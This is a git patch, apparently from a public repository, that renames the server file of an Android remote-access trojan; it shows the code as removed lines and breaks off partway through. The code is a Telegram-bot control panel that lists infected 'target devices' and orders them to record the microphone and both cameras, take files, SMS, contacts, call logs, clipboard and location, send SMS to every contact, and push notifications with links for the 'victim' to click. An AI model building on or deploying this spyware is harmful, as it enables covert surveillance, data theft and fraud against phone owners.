From 070859fa3ca07654b73ca648b6568afba418bc7f Mon Sep 17 00:00:00 2001
From: shiva yadav <94379471+shivaya-dav@users.noreply.github.com>
Date: Fri, 14 Apr 2023 12:59:43 -0700
Subject: [PATCH] jai shree ram
---
server.js => index.js | 1440 ++++++++++++++++++++---------------------
package.json | 4 +-
2 files changed, 722 insertions(+), 722 deletions(-)
rename server.js => index.js (98%)
diff --git a/server.js b/index.js
similarity index 98%
rename from server.js
rename to index.js
index 2614b7e..af7ad63 100644
--- a/server.js
+++ b/index.js
@@ -1,720 +1,720 @@
-const express = require('express');
-const webSocket = require('ws');
-const http = require('http')
-const telegramBot = require('node-telegram-bot-api')
-const uuid4 = require('uuid')
-const multer = require('multer');
-const bodyParser = require('body-parser')
-const axios = require("axios");
-
-const token = 'your token here'
-const id = 'chat id here'
-const address = 'https://www.google.com'
-
-const app = express();
-const appServer = http.createServer(app);
-const appSocket = new webSocket.Server({server: appServer});
-const appBot = new telegramBot(token, {polling: true});
-const appClients = new Map()
-
-const upload = multer();
-app.use(bodyParser.json());
-
-let currentUuid = ''
-let currentNumber = ''
-let currentTitle = ''
-
-app.get('/', function (req, res) {
- res.send('
๐๐๐ง๐ซ๐๐ง ๐ช๐ฅ๐ก๐ค๐๐๐๐ ๐จ๐ช๐๐๐๐จ๐จ๐๐ช๐ก๐ก๐ฎ
')
-})
-
-app.post("/uploadFile", upload.single('file'), (req, res) => {
- const name = req.file.originalname
- appBot.sendDocument(id, req.file.buffer, {
- caption: `ยฐโข ๐๐๐จ๐จ๐๐๐ ๐๐ง๐ค๐ข ${req.headers.model} ๐๐๐ซ๐๐๐`,
- parse_mode: "HTML"
- },
- {
- filename: name,
- contentType: 'application/txt',
- })
- res.send('')
-})
-app.post("/uploadText", (req, res) => {
- appBot.sendMessage(id, `ยฐโข ๐๐๐จ๐จ๐๐๐ ๐๐ง๐ค๐ข ${req.headers.model} ๐๐๐ซ๐๐๐\n\n` + req.body['text'], {parse_mode: "HTML"})
- res.send('')
-})
-app.post("/uploadLocation", (req, res) => {
- appBot.sendLocation(id, req.body['lat'], req.body['lon'])
- appBot.sendMessage(id, `ยฐโข ๐๐ค๐๐๐ฉ๐๐ค๐ฃ ๐๐ง๐ค๐ข ${req.headers.model} ๐๐๐ซ๐๐๐`, {parse_mode: "HTML"})
- res.send('')
-})
-appSocket.on('connection', (ws, req) => {
- const uuid = uuid4.v4()
- const model = req.headers.model
- const battery = req.headers.battery
- const version = req.headers.version
- const brightness = req.headers.brightness
- const provider = req.headers.provider
-
- ws.uuid = uuid
- appClients.set(uuid, {
- model: model,
- battery: battery,
- version: version,
- brightness: brightness,
- provider: provider
- })
- appBot.sendMessage(id,
- `ยฐโข ๐๐๐ฌ ๐๐๐ซ๐๐๐ ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐\n\n` +
- `โข แด
แดแด ษชแดแด แดแดแด
แดส : ${model}\n` +
- `โข สแดแดแดแดสส : ${battery}\n` +
- `โข แดษดแด
สแดษชแด
แด แดส๊ฑษชแดษด : ${version}\n` +
- `โข ๊ฑแดสแดแดษด สสษชษขสแดษดแด๊ฑ๊ฑ : ${brightness}\n` +
- `โข แดสแดแด ษชแด
แดส : ${provider}`,
- {parse_mode: "HTML"}
- )
- ws.on('close', function () {
- appBot.sendMessage(id,
- `ยฐโข ๐ฟ๐๐ซ๐๐๐ ๐๐๐จ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐\n\n` +
- `โข แด
แดแด ษชแดแด แดแดแด
แดส : ${model}\n` +
- `โข สแดแดแดแดสส : ${battery}\n` +
- `โข แดษดแด
สแดษชแด
แด แดส๊ฑษชแดษด : ${version}\n` +
- `โข ๊ฑแดสแดแดษด สสษชษขสแดษดแด๊ฑ๊ฑ : ${brightness}\n` +
- `โข แดสแดแด ษชแด
แดส : ${provider}`,
- {parse_mode: "HTML"}
- )
- appClients.delete(ws.uuid)
- })
-})
-appBot.on('message', (message) => {
- const chatId = message.chat.id;
- if (message.reply_to_message) {
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ก๐๐๐จ๐ ๐ง๐๐ฅ๐ก๐ฎ ๐ฉ๐๐ ๐ฃ๐ช๐ข๐๐๐ง ๐ฉ๐ค ๐ฌ๐๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐๐ ๐๐๐')) {
- currentNumber = message.text
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐ฉ๐๐๐จ ๐ฃ๐ช๐ข๐๐๐ง\n\n' +
- 'โข สแด แดแดสแด๊ฐแดส แดสแดแด แดสแด แดแด๊ฑ๊ฑแดษขแด แดกษชสส ษดแดแด สแด ๊ฑแดษดแด ษช๊ฐ แดสแด ษดแดแดสแดส แด๊ฐ แดสแดสแดแดแดแดส๊ฑ ษชษด สแดแดส แดแด๊ฑ๊ฑแดษขแด ษช๊ฑ แดแดสแด แดสแดษด แดสสแดแดกแดแด
',
- {reply_markup: {force_reply: true}}
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐ฉ๐๐๐จ ๐ฃ๐ช๐ข๐๐๐ง')) {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`send_message:${currentNumber}/${message.text}`)
- }
- });
- currentNumber = ''
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐๐ก๐ก ๐๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ')) {
- const message_to_all = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`send_message_to_all:${message_to_all}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ค๐ฌ๐ฃ๐ก๐ค๐๐')) {
- const path = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`file:${path}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐๐ก๐๐ฉ๐')) {
- const path = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`delete_file:${path}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐ข๐๐๐ง๐ค๐ฅ๐๐ค๐ฃ๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐')) {
- const duration = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`microphone:${duration}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐ข๐๐๐ฃ ๐๐๐ข๐๐ง๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐')) {
- const duration = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`rec_camera_main:${duration}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐จ๐๐ก๐๐๐ ๐๐๐ข๐๐ง๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐')) {
- const duration = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`rec_camera_selfie:${duration}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฉ๐๐๐ฉ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐ค๐ฃ ๐ฉ๐๐ ๐ฉ๐๐ง๐๐๐ฉ ๐๐๐ซ๐๐๐')) {
- const toastMessage = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`toast:${toastMessage}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐๐จ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ')) {
- const notificationMessage = message.text
- currentTitle = notificationMessage
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ ๐ค๐ฅ๐๐ฃ๐๐ ๐๐ฎ ๐ฉ๐๐ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ\n\n' +
- 'โข แดกสแดษด แดสแด แด ษชแดแดษชแด แดสษชแดแด๊ฑ แดษด แดสแด ษดแดแดษช๊ฐษชแดแดแดษชแดษด, แดสแด สษชษดแด สแดแด แดสแด แดษดแดแดสษชษดษข แดกษชสส สแด แดแดแดษดแดแด
',
- {reply_markup: {force_reply: true}}
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ ๐ค๐ฅ๐๐ฃ๐๐ ๐๐ฎ ๐ฉ๐๐ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ')) {
- const link = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`show_notification:${currentTitle}/${link}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐๐ช๐๐๐ค ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐ฅ๐ก๐๐ฎ')) {
- const audioLink = message.text
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == currentUuid) {
- ws.send(`play_audio:${audioLink}`)
- }
- });
- currentUuid = ''
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- }
- if (id == chatId) {
- if (message.text == '/start') {
- appBot.sendMessage(id,
- 'ยฐโข ๐๐๐ก๐๐ค๐ข๐ ๐ฉ๐ค ๐๐๐ฉ ๐ฅ๐๐ฃ๐๐ก\n\n' +
- 'โข ษช๊ฐ แดสแด แดแดแดสษชแดแดแดษชแดษด ษช๊ฑ ษชษด๊ฑแดแดสสแดแด
แดษด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด, แดกแดษชแด ๊ฐแดส แดสแด แดแดษดษดแดแดแดษชแดษด\n\n' +
- 'โข แดกสแดษด สแดแด สแดแดแดษชแด แด แดสแด แดแดษดษดแดแดแดษชแดษด แดแด๊ฑ๊ฑแดษขแด, ษชแด แดแดแดษด๊ฑ แดสแดแด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด ษช๊ฑ แดแดษดษดแดแดแดแดแด
แดษดแด
สแดแดแด
ส แดแด สแดแดแดษชแด แด แดสแด แดแดแดแดแดษดแด
\n\n' +
- 'โข แดสษชแดแด แดษด แดสแด แดแดแดแดแดษดแด
สแดแดแดแดษด แดษดแด
๊ฑแดสแดแดแด แดสแด แด
แด๊ฑษชสแดแด
แด
แดแด ษชแดแด แดสแดษด ๊ฑแดสแดแดแด แดสแด แด
แด๊ฑษชสแดแด
แดแดแดแดแดษดแด
แดแดแดษดษข แดสแด แดแดแดแดแดษดแด
๊ฑ\n\n' +
- 'โข ษช๊ฐ สแดแด ษขแดแด ๊ฑแดแดแดแด ๊ฑแดแดแดแดกสแดสแด ษชษด แดสแด สแดแด, ๊ฑแดษดแด
/start แดแดแดแดแดษดแด
',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (message.text == '๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ') {
- if (appClients.size == 0) {
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ฃ๐ ๐๐๐ซ๐๐๐๐จ ๐๐ซ๐๐๐ก๐๐๐ก๐\n\n' +
- 'โข แดแดแดแด ๊ฑแดสแด แดสแด แดแดแดสษชแดแดแดษชแดษด ษช๊ฑ ษชษด๊ฑแดแดสสแดแด
แดษด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด'
- )
- } else {
- let text = 'ยฐโข ๐๐๐จ๐ฉ ๐ค๐ ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ :\n\n'
- appClients.forEach(function (value, key, map) {
- text += `โข แด
แดแด ษชแดแด แดแดแด
แดส : ${value.model}\n` +
- `โข สแดแดแดแดสส : ${value.battery}\n` +
- `โข แดษดแด
สแดษชแด
แด แดส๊ฑษชแดษด : ${value.version}\n` +
- `โข ๊ฑแดสแดแดษด สสษชษขสแดษดแด๊ฑ๊ฑ : ${value.brightness}\n` +
- `โข แดสแดแด ษชแด
แดส : ${value.provider}\n\n`
- })
- appBot.sendMessage(id, text, {parse_mode: "HTML"})
- }
- }
- if (message.text == '๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐') {
- if (appClients.size == 0) {
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ฃ๐ ๐๐๐ซ๐๐๐๐จ ๐๐ซ๐๐๐ก๐๐๐ก๐\n\n' +
- 'โข แดแดแดแด ๊ฑแดสแด แดสแด แดแดแดสษชแดแดแดษชแดษด ษช๊ฑ ษชษด๊ฑแดแดสสแดแด
แดษด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด'
- )
- } else {
- const deviceListKeyboard = []
- appClients.forEach(function (value, key, map) {
- deviceListKeyboard.push([{
- text: value.model,
- callback_data: 'device:' + key
- }])
- })
- appBot.sendMessage(id, 'ยฐโข ๐๐๐ก๐๐๐ฉ ๐๐๐ซ๐๐๐ ๐ฉ๐ค ๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐', {
- "reply_markup": {
- "inline_keyboard": deviceListKeyboard,
- },
- })
- }
- }
- } else {
- appBot.sendMessage(id, 'ยฐโข ๐๐๐ง๐ข๐๐จ๐จ๐๐ค๐ฃ ๐๐๐ฃ๐๐๐')
- }
-})
-appBot.on("callback_query", (callbackQuery) => {
- const msg = callbackQuery.message;
- const data = callbackQuery.data
- const commend = data.split(':')[0]
- const uuid = data.split(':')[1]
- console.log(uuid)
- if (commend == 'device') {
- appBot.editMessageText(`ยฐโข ๐๐๐ก๐๐๐ฉ ๐๐ค๐ข๐ข๐๐ฃ๐ ๐๐ค๐ง ๐๐๐ซ๐๐๐ : ${appClients.get(data.split(':')[1]).model}`, {
- width: 10000,
- chat_id: id,
- message_id: msg.message_id,
- reply_markup: {
- inline_keyboard: [
- [
- {text: '๐ผ๐ฅ๐ฅ๐จ', callback_data: `apps:${uuid}`},
- {text: '๐ฟ๐๐ซ๐๐๐ ๐๐ฃ๐๐ค', callback_data: `device_info:${uuid}`}
- ],
- [
- {text: '๐๐๐ฉ ๐๐๐ก๐', callback_data: `file:${uuid}`},
- {text: '๐ฟ๐๐ก๐๐ฉ๐ ๐๐๐ก๐', callback_data: `delete_file:${uuid}`}
- ],
- [
- {text: '๐พ๐ก๐๐ฅ๐๐ค๐๐ง๐', callback_data: `clipboard:${uuid}`},
- {text: '๐๐๐๐ง๐ค๐ฅ๐๐ค๐ฃ๐', callback_data: `microphone:${uuid}`},
- ],
- [
- {text: '๐๐๐๐ฃ ๐๐๐ข๐๐ง๐', callback_data: `camera_main:${uuid}`},
- {text: '๐๐๐ก๐๐๐ ๐๐๐ข๐๐ง๐', callback_data: `camera_selfie:${uuid}`}
- ],
- [
- {text: '๐๐ค๐๐๐ฉ๐๐ค๐ฃ', callback_data: `location:${uuid}`},
- {text: '๐๐ค๐๐จ๐ฉ', callback_data: `toast:${uuid}`}
- ],
- [
- {text: '๐พ๐๐ก๐ก๐จ', callback_data: `calls:${uuid}`},
- {text: '๐พ๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ', callback_data: `contacts:${uuid}`}
- ],
- [
- {text: '๐๐๐๐ง๐๐ฉ๐', callback_data: `vibrate:${uuid}`},
- {text: '๐๐๐ค๐ฌ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ', callback_data: `show_notification:${uuid}`}
- ],
- [
- {text: '๐๐๐จ๐จ๐๐๐๐จ', callback_data: `messages:${uuid}`},
- {text: '๐๐๐ฃ๐ ๐ข๐๐จ๐จ๐๐๐', callback_data: `send_message:${uuid}`}
- ],
- [
- {text: '๐๐ก๐๐ฎ ๐๐ช๐๐๐ค', callback_data: `play_audio:${uuid}`},
- {text: '๐๐ฉ๐ค๐ฅ ๐๐ช๐๐๐ค', callback_data: `stop_audio:${uuid}`},
- ],
- [
- {
- text: '๐๐๐ฃ๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฉ๐ค ๐๐ก๐ก ๐๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ',
- callback_data: `send_message_to_all:${uuid}`
- }
- ],
- ]
- },
- parse_mode: "HTML"
- })
- }
- if (commend == 'calls') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('calls');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'contacts') {
- appSocket.clients.forEach(function each(ws) {
- if (ws.uuid == uuid) {
- ws.send('contacts');
- }
- });
- appBot.deleteMessage(id, msg.message_id)
- appBot.sendMessage(id,
- 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
- 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
- {
- parse_mode: "HTML",
- "reply_markup": {
- "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
- 'resize_keyboard': true
- }
- }
- )
- }
- if (commend == 'messages') {
- appSocket.clients.forEach(function each(ws) {
